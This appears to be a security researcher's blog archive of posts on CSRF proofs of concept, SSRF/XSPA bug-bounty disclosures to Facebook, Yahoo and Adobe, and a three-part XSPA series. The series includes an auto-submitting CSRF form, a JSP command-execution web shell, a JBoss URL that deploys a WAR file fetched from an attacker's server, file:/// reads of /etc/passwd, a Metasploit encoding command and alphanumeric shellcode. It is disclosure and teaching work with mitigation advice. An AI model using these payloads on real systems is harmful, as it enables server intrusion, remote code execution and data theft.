Monday, November 4, 2013

Auto submit (onload) a HTML Form with an input field called "submit" - CSRF PoC

This post describes a fairly common scenario I encounter during web application security assessments. Imagine a HTML form with the following code:

<form id="myForm" name="myForm" action="http://example.com/examplePage.do" method="POST">
<input type=text name="val1" id="val1" value="value1"/>
<input type=text name="val2" id="val2" value="value2"/>
<input type=text name="val3" id="val3" value="value3"/>
<input type=text name="submit" id="submit" value="Continue"/>
</form>


This form is vulnerable to CSRF due to the lack of a unique token. When I want to build a PoC for CSRF I normally use the body onload=formname.submit() to demonstrate that the form is indeed vulnerable to CSRF and the attack can be stealthily performed using body onload (no user interaction required, apart from page load). In this case, the presence of an input field whose name and id is "submit" complicates matters. The submit() function of the myForm is completely overwritten by the input field and a call to myForm.submit() would yield a "myForm.submit is not a function" error.

To be able to submit data onload of the body or iframe, we would somehow need to submit the myForm without explicitly calling the submit function. The simplest way of doing this would be by converting the input field with name and id "submit" from text / hidden to type "submit". This will however require a user to click on the button (or use JS to perform the click).

There is a simpler way to achieve what we want here. As Quentin answered my query on stackoverflow, we need to steal the submit function from another form. So my final CSRF PoC, complete with stealth and auto trigger looks like this:

<html>
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
<form id="myForm" name="myForm" action="http://example.com/examplePage.do" method="POST">
<input type=hidden name="val1" id="val1" value="value1"/>
<input type=hidden name="val2" id="val2" value="value2"/>
<input type=hidden name="val3" id="val3" value="value3"/>
<input type=hidden name="submit" id="submit" value="Continue"/>
</form>
</body>
</html>


Happy Hacking!

Thursday, June 27, 2013

XSPA / SSRF Vulnerability with the Yahoo! Developer Network

This is another video demonstrating a XSPA / SSRF vulnerability that I discovered on the Yahoo! Developer Network last year. This was a typical XSPA / SSRF bug that allowed an attacker to port scan Internet facing servers using Yahoo!'s machines. A limited amount of service fingerprinting was also possible.

Yahoo! has now fixed this issue and was nice enough to put that in an email. Oh, by the way there was no swag, unicorns,mugs or tshirts.

More on SSRF / XSPA: http://cwe.mitre.org/data/definitions/918.html http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html




Comments and feedback are welcome!

Friday, May 10, 2013

XSPA / SSRF bug with Facebook's Developer Web Application

This post is about a responsible disclosure I made to Facebook recently about a vulnerability with their developer.facebook.com web application that allowed an attacker to perform port scans on remote machines on the Internet. An attacker could scan Internet facing machines for open ports and proxy his scans through Facebook's IP addresses using this vulnerability.

The URL at http://developers.facebook.com/tools/debug/og/object is vulnerable to a SSRF / XSPA vulnerability (CWE-918), via the 'q' parameter, allowing an attacker to port scan external internet facing systems and identify IP addresses on the Internal network as well based on error messages and response data.


The following steps can be used to reproduce the issue. All scans have been verified against scanme.nmap.org that is known to have ports 22, 80 and 9929 open.

Step 1: Navigate to http://developers.facebook.com/tools/debug and enter the following URL in the 'q' text box (open port test). http://scanme.nmap.org:22/index.html
A GET request is sent to http://developers.facebook.com/tools/debug/og/object with the 'q' parameter being passed via the URL.

Step 2: Notice the "Response Code" received by Facebook from the remote server (502).

Step 3: Repeat the request for http://scanme.nmap.org:25/index.html (closed port test)

Step 4: Notice the Response code received by facebook from the remote server (503).

Other responses that have been noticed for open ports include 200, 404 and 206. An error response "Error parsing input URL, no data was scraped." is also seen if a request to a non ASCII port is sent (3389 etc).


I wrote a simple port scanner in python that utilises this bug to make connections to remote systems which you can download from github.


Facebook paid out a bounty for this bug although they did not fix the issue completely. This is what they had to say:

"There are quite a few ways that our service can be made to issue requests to third-parties, and it's unfortunately not feasible to block non-standard ports on all of them. This debugging tool is one of those endpoints where it's incredibly helpful to allow requests to non-standard ports. We monitor and rate-limit the usage of this endpoint but the implications here are low-risk enough that we've decided not to eliminate this helpful functionality entirely."

And I agree, rate-limiting the number of requests received from a single IP/subnet/network that look suspicious is one way this could be kept under check, however this bug will remain a good example of a functionality that can be heavily abused.

Happy hunting!!

Tuesday, April 23, 2013

XSPA / SSRF Vulnerability with the Adobe Omniture Web Application

This is a video demonstrating the XSPA / SSRF vulnerability that I discovered on the Adobe's Omniture Web Application back in November 2012 while writing a paper for BlackHat2012 AD. This was a typical XSPA / SSRF bug that allowed, amongst other things, to port scan Internet facing servers using Adobe's machines, read local files using the file:// protocol and detect internal machines and services running on them.

Adobe has now fixed this issue and put me on the Adobe's Acknowledgement page for Security Researchers.

More on SSRF / XSPA: http://cwe.mitre.org/data/definitions/918.html http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html




Comments and feedback are welcome!

Sunday, December 2, 2012

AppSecUSA 2012 - Cross Site Port Attacks Talk Video

My talk on Cross Site Port Attacks (XSPA) at the recently concluded AppSecUSA 2012, Austin,TX is now online. Here's an embed:




Comments and feedback are welcome!

Wednesday, November 14, 2012

Cross Site Port Attacks - XSPA - Part 3

In the last 2 posts we saw what Cross Site Port Attacks (XSPA) are and what are the different attacks that are possible via XSPA. This post is in continuation with the previous posts and is the last in the series of three. In this post we will see other interesting attacks and also see how developers can prevent XSPA or limit the attack surface itself.

Read Cross Site Port Attacks - XSPA - Part 1
Read Cross Site Port Attacks - XSPA - Part 2

Attacks - Attacking Internal Vulnerable Web Applications

Most often than not, intranet applications lack even the most basic security allowing an attacker on the internal network to attack and access server resources including data and code. Being an intranet application, reaching it from the Internet requires VPN access to the internal network or specialized connectivity on the same lines. Using XSPA, however, an attacker can target vulnerable internal web applications via the Internet exposed web application.

A very common example I can think of and which I have seen during numerous pentests is the presence of a JBoss Server vulnerable to a bunch of issues. My most favorite of them being the absence of authentication, by default, on the JMX console which runs on port 8080 by default.



A well documented hack using the JMX console, allows an attacker to deploy a war file containing JSP code that would allow command execution on the server. If an attacker has direct access to the JMX console, then deploying the war file containing the following JSP code is relatively straightforward:

<%@ page import="java.util.*,java.io.*"%>
<pre>
<% Process p = Runtime.getRuntime().exec("cmd /c " + request.getParameter("x"));
DataInputStream dis = new DataInputStream(p.getInputStream());
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
} %>
</pre>

Using the MainDeployer under jboss.system:service in the JMX Bean View we can deploy a war file containing a JSP shell. The MainDeployer can be found at the following address:

http://example_server:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer

Using the MainDeployer, for example, a war file named cmd.war containing a shell named shell.jsp can be deployed to the server and accessed via http://example_server:8080/cmd/shell.jsp. Commands can then be executed via shell.jsp?x=[command]. To perform this via XSPA we need to obviously replace the example_server with the IP/hostname of the server running JBoss on the internal network.

A small problem here that becomes a roadblock in performing this attack via XSPA is that the file deploy works via a POST request and hence we cannot craft a URL (atleast we think so) that would deploy the war file to the server. This can easily be solved by converting the POST to a GET request for the JMX console. On a test installation, we can identify the variables that are being sent to the JBoss server when the Main Deployer's deploy() function is called. Using your favorite proxy, or simply using the Firefox addon - Web Developer's "Convert POST to GET" functionality, we can construct a URL that would allow deploying of the cmd.war file to the server. We then only need to host the cmd.war file on an Internet facing server so that we can specify the cmd.war file URL as arg0. The final URL would look something like (assuming JBoss server is running on the same web server):

http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war

Use this URL as input to the XSPA vulnerable web application and if the application displays received responses from the backend, you should see something on the lines of the following:


Then its a matter of requesting shell.jsp via the XSPA vulnerable web application. For example, the following input would return the directory listing on the JBoss server (assuming its Windows, for Linux, x=ls%20-al can be used)

http://127.0.0.1:8080/cmd/shell.jsp?x=dir



http://127.0.0.1:8080/cmd/shell.jsp?x=tasklist



We have successfully attacked an internal vulnerable web application from the Internet using XSPA. We can then use the shell to download a reverse connect program that would give higher flexibility over issuing commands. Similarily other internal applications vulnerable to threats like SQL Injection, parameter manipulation and other URL based attacks can be targeted from the Internet.

Attacks - Reading local files using file:/// protocol

All the attacks that we saw till now make use of the fact that the XSPA vulnerable web application creates an HTTP request to the requested resource. The protocol in all cases was specified by the attacker. On the other hand, if we specify the file protocol handler, we maybe able to read local files on the server. An input of the following form would cause the application to read files on disk:

Request: file:///C:/Windows/win.ini




The following screengrab shows the reading of the /etc/passwd file on an Adobe owned server via Adobe's Omniture web application. The request was file:///etc/passwd. Adobe has now fixed this issue and credited me on the Adobe Hall of Fame for the same:



How do you fix this?

There are multiple ways of mitigating this vulnerability, the most ideal and common techniques of thwarting XSPA, however, are listed below:
1. Response Handling - Validating responses received from remote resources on the server side is the most basic mitigation that can be readily implemented. If a web application expects specific content type on the server, programmatically ensure that the data received satisfies checks imposed on the server before displaying or processing the data for the client.

2. Error handling and messages - Display generic error messages to the client in case something goes wrong. If content type validation fails, display generic errors to the client like "Invalid Data retrieved". Also ensure that the message is the same when the request fails on the backend and if invalid data is received. This will prevent the application from being abused as distinct error messages will be absent for closed and open ports. Under no circumstance should the raw response received from the remote server be displayed to the client.

3. Restrict connectivity to HTTP based ports - This may not always be the brightest thing to do, but restricting the ports to which the web application can connect to only HTTP ports like 80, 443, 8080, 8090 etc. can lower the attack surface. Several popular web applications on the Internet just strip any port specifications in the input URL and connect to the port that is determined by the protocol handler (http - 80, https - 443).

4. Blacklist IP addresses - Internal IP addresses, localhost specifications and internal hostnames can all be blacklisted to prevent the web application from being abused to fetch data/attack these devices. Implementing this will protect servers from one time attack vectors. For example, even if the first fix (above) is implemented, the data is still being sent to the remote service. If an attack that does not need to see responses is executed (like a buffer overflow exploit) then this fix can actually prevent data from ever reaching the vulnerable device. Response handling is then not required at all as a request was never made.

5. Disable unwanted protocols - Allow only http and https to make requests to remote servers. Whitelisting these protocols will prevent the web application from making requests over other protocols like file:///, gopher://, ftp:// and other URI schemes.

Conclusion

Using web applications to make requests to remote resources, the local network and even localhost is a technique that has been known to pentesters for some time now. It has been termed as Server Side Request Forgeries, Cross Site Port Attacks and even Server Side Site Scanning, but the primary idea is to present it to the community and show that this vulnerability is extremely common. XSPA, in the case of this research, can be used to proxy attacks via vulnerable web applications to remote servers and local systems.

We have seen that XSPA can be used to port scan remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases. XSPA can also be used to exploit vulnerable programs running on the Intranet or on the local web server. Fingerprinting intranet web applications using static default files & application behaviour is possible. It is also possible in several cases to attack internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.). Lastly, XSPA has been used to document local file read capabilities using the file:/// protocol handler in Adobe's Omniture web application.

Mitigating XSPA takes a combination of blacklisting IP addresses, whitelisting connect ports and protocols and proper non descriptive error handling.


In the next several posts I will publish disclosures regarding XSPA in several websites on the Internet which triggered the research into this vulnerability in the first place.


Tuesday, November 13, 2012

Cross Site Port Attacks - XSPA - Part 2

This is the second post in the 3 part series that explains XSPA, the attacks and possible countermeasures.

Read Cross Site Port Attacks - XSPA - Part 1
Read Cross Site Port Attacks - XSPA - Part 3

Attacks

XSPA allows attackers to target the server infrastructure, mostly the intranet of the web server, the web server itself and any public Internet facing server as well. Currently, I have come across the following five different attacks that can be launched because of XSPA:
1. Port Scanning remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases.
2. Exploiting vulnerable programs running on the Intranet or on the local web server
3. Fingerprinting intranet web applications using standard application default files & behavior
4. Attacking internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.)
5. Reading local web server files using the file:/// protocol handler.

Most web server architecture would allow the web server to access the Internet and services running on the intranet. The following visual depiction shows the various destinations to which requests can be made:




Let us now look at some of the attacks that are possible with XSPA. These are attacks that I have come across during my Bug Bounty research and XSPA is not limited to them. A determined, intuitive attacker can come up with other scenarios as well.

Attacks - Port Scanning using XSPA

Consider a web application that provides a common functionality that allows a user to input a link to an external image from a third party server. Most social networking sites have this functionality that allows users to update their profile image by either uploading an image or by providing a URL to an image hosted elsewhere on the Internet.

A user is expected (in an utopian world) to enter a valid URL pointing to an image on the Internet. URLs of the following forms would be considered valid:
  • http://example.com/dir/public/image.jpg
  • http://example.com/dir/images/

  • The second URL is valid, if the served Content-Type is an image (http://www.w3.org/Protocols/rfc1341/4_Content-Type.html). Based on the web application's server side logic, the image is downloaded on the server, a URL is created and then the image is displayed to the user, using the new server URL. So even if you specify the image to be at
    http://example.com/dir/public/image.jpg
    the final image url would be at
    http://gravatar.com/user_images/username/image.jpg.

    If an image is not found at the user supplied URL, the web application will normally inform the user of such. However, if the remote server hosting the image itself isn't found or the server exists and there is no HTTP service running then it gets tricky. Most web applications generate error messages that inform the user regarding the status of this request. An attacker can specify a non-standard yet valid URI according to the URI rfc3986 with a port specification. An example of these URIs would be the following:
  • http://example.com:8080/dir/images/
  • http://example.com:22/dir/public/image.jpg
  • http://example.com:3306/dir/images/

  • In all probability you would find a web application on port 8080 and not on 22 (SSH) or 3306 (MySQL). However, the backend logic of the webserver, in all observed cases, will connect to the user specified URL on the mentioned port using whatever APIs and framework it is built over as these are valid HTTP URLs. In case of most TCP services, banners are sent when a socket connection is created and since most banners (containing juicy information) are printable ascii, they can be displayed as raw HTML via the response handler. If there is some parsing of data on the server then non HTML data may not be displayed, in such cases, unique error messages, response byte size and response timing can be used to identify port status providing an avenue for port scanning remote servers using the vulnerable web application. An attacker can analyze the returned error messages and identify open and closed ports based on unique error responses. These responses may be raw socket errors (like "Connection refused" or timeouts) or may be customized by the application (like "Unexpected header found" or "Service was not reachable"). Instead of providing a URL to a remote server, URLs to localhost (http://127.0.0.1:22/image.jpg) can also be used to port scan the local server itself!

    The following implementation of cURL can be abused to port scan devices:
    <?php
    if (isset($_POST['url']))
    {
    $link = $_POST['url'];
    $filename = './curled/'.rand().'txt';
    $curlobj = curl_init($link);
    $fp = fopen($filename,"w");
    curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_exec($curlobj);
    curl_close($curlobj);
    fclose($fp);
    $fp = fopen($filename,"r");
    $result = fread($fp, filesize($filename));
    fclose($fp);
    echo $result;
    }
    ?>

    The following is a screengrab of the above code retrieving robots.txt from http://www.twitter.com:

    Request: http://www.twitter.com/robots.txt



    For the same page, if a request is made to fetch data from a open port running a non HTTP service:

    Request: http://scanme.nmap.org:22/test.txt



    For a closed port, an application specific error is displayed:

    Request: http://scanme.nmap.org:25/test.txt



    The different responses received allow us to port scan devices using the vulnerable web application server as a proxy. This can easily be scripted to achieve automation and cleaner results. I will be (in later posts) showing how this attack was possible on Facebook, Google, Mozilla, Pinterest, Adobe and Yahoo!

    An attacker can also modify the request URLs to scan the internal network or the local server itself. For example:

    Request: http://127.0.0.1:3306/test.txt



    In most web applications on the Internet, barring a few, banner grabbing may not be possible, in which case application specific error messages, response byte size, server response times and changes in HTML source can be used as unique fingerprints to identify port status. The following screengrabs show port scanning via XSPA in Google's Webmasters web application. Note the application specific error messages that can be used to script the vulnerability and automate scanning of Internet/Intranet devices. Google has now fixed this issue (and my name was listed in the prestigious Google Hall of Fame for security researchers):







    Attacks - Exploiting vulnerable network programs

    Most developers in the real world write code without incorporating a lot of security. Which is why, even after a decade of being documented, threats like buffer overflows and format string vulnerabilities are still found in applications. For applications built in-house to perform specific tasks, security is almost never in the list of priorities, hence attacking them gives easy access to the internal network. XSPA allows attackers to send data to user controlled addresses and ports which could have vulnerable services listening on them. These can be exploited using XSPA to execute code on the remote/local server and gain a reverse shell (or perform an attacker desired activity).

    If we look at the flow of an XSPA attack, we can see that we control the part after the port specification. In simpler terms, we control the resource that we are asking the web server to fetch from the remote/local server. The web server creates a GET (or POST, mostly GET) request on the backend and connects to the attacker specified service and issues the following HTTP request:

    GET /attacker_controlled_resource HTTP/1.1
    Host: hostname

    If you notice carefully, we do not need to be concerned about most of the structure of the backend request as we control the most important part of it, the resource specification. For example, in the following screengrab you can see that a program listening on port 8987 on the local server accepts input and prints "Hello GET /test.txt HTTP/1.1, The Server Time is: [server time]". We can see that the "GET /test.txt HTTP/1.1" is sent by the web server to the program as part of its request creation process. If the program is vulnerable to a buffer overflow, as user input is being used to create the output, the attacker could pass an overly long string and crash the program.

    Request: http://127.0.0.1:8987/test.txt




    Request: http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA





    On testing the vulnerable copy on a local installation, we can see that EIP can be controlled and ESP has our data. Calculating the correct offset for EIP and building the exploit is beyond this blog post, however, the folks at Corelan have a brilliant series of tutorials on building exploits for vulnerable programs. One important point to be noted however is that HTTP being a text based protocol may not handle non-printable unicode characters (found in exploit code) properly. In such a situation, we can use msfencode (part of metasploit framework) to encode the exploit payload to alpha numeric using the following command:

    msfpayload windows/exec CMD=calc.exe R | msfencode BufferRegister=ESP -e x86/alpha_mixed

    The result? The following alphanumeric text (along with padding AAAAAAs, the static JMP ESP address and the shellcode) that can now be sent via the web application to the vulnerable program:

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhmYUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xnk2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOmKON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA


    Sucessful exploitation leads to calculator executing on the server. The shellcode can be replaced with other payloads as well (reverse shell perhaps?)



    Attacks - Fingerprinting Intranet Web Applications

    Identifying internal applications via XSPA would be one of the first steps an attacker would take to get into the network from outside. Fingerprinting the type and version, if its a publicly available framework, blogging platform, application module or simply a customized public CMS, is essential in identifying vulnerabilities that can then be exploited to gain access.

    Most publicly available web application frameworks have distinct files and directories whose presence would indicate the type and version of the application. Most web applications also give away version and other information through meta tags and comments inside the HTML source. Specific vulnerabilites can then be researched based on the results. For example, the following unique signatures help in identifying a phpMyAdmin, Wordpress and a Drupal instance respectively:

    Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
    Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
    Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt

    The following request attempts to identify the presence of a DLink Router:

    Request: http://10.0.0.1/portName.js



    Once the web application has been identified, an attacker can then research vulnerabilities and exploit vulnerable applications. In the next post we shall see how intranet web applications can be attacked and how servers can be abused using other protocols as well. We will also take a look at fixes that are suggested for developers to thwart XSPA or limit the damage that can arise due to this vulnerability.